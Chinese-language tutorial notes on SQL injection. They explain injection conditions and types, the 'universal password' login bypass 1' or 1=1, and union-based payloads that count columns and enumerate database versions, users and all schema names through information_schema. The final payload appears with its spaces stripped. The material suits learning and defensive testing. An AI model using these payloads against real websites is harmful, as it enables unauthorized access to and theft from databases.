SQL注入
Sql注入存在的条件:
1、具备与数据库交互的条件。
2、用户端可以控制输入内容。
3、没有对用户的输入内容做一定程度的过滤。
根据请求方式分类:
1、GET方式请求注入:常见产生位置url。
2、Post方式请求注入:常见产生位置post包的请求实体。
根据注入点参数方式分类:
1、数字型:select uname , password from users where uid=$id
2、字符型:select uname , password from users where uid=’$id’
3、搜索型:select uname , password from users where name like ’%$id%’
万能密码解析:
例子代码:1’ or 1=1 -- a
原理select * from users where user=’$user’ and password=’123456’
1后面的闭合符号把上面的sql语句拆分了如下
解析select * from users where user=’1’ or 1=1 -- a’ and password=’123456’
-- a是sql语句的注释符号,#也是。注释符号后面的sql语句一律不会执行。
整条语句无形之中变成了这样select * from users where user=’1’ or 1=1。
而or的运算法则是只有两边都为假时才会变成假。
联合注入:
通过Order by查询出列数,如:1’ order by 5 -- - (二分法)
Union 联合,将多条查询语句的结果合并成一个
假设是5列,然后需要找显示位,如:1’ union select 1,2,3,4,5 -- -
Order by获取列是为了union正常执行
找到显示位之后在显示位上写要查询的代码,这样结果才会显示出页面
如:1’ union select 1,2,3,version(),5 -- - 4号显示位显示数据库版本信息
1’ union select version(),user() -- -
1‘ union select 1,schema_name from information_schema.schemata -- -
Information_schema:存放所有数据库信息,
Schemata:存放所有数据库的信息
Tables:存放数据库中的表的信息,包括表属于哪个数据库、表的类型等等...
Columns:存放表的列信息,包括表有多少个列,每个列的类型等等.....
Mysql->user存放当前数据库的账户信息
Database()当前数据库名字
Version() 数据库版本
User() 当前用户名
Show columns:展示列数
Schema_name:存放的是数据库的名字
以下语句只会显示一个数据库的名字:
?id=-1‘ union select 1,2,schema_name from information_schema.schemata-- -
以下语句只会显示所有数据库的名字:
-1‘unionselect1,2,(selectgroup_concat(0x7e,(schema_name),0x7e)frominformation_schema.schemata) -- -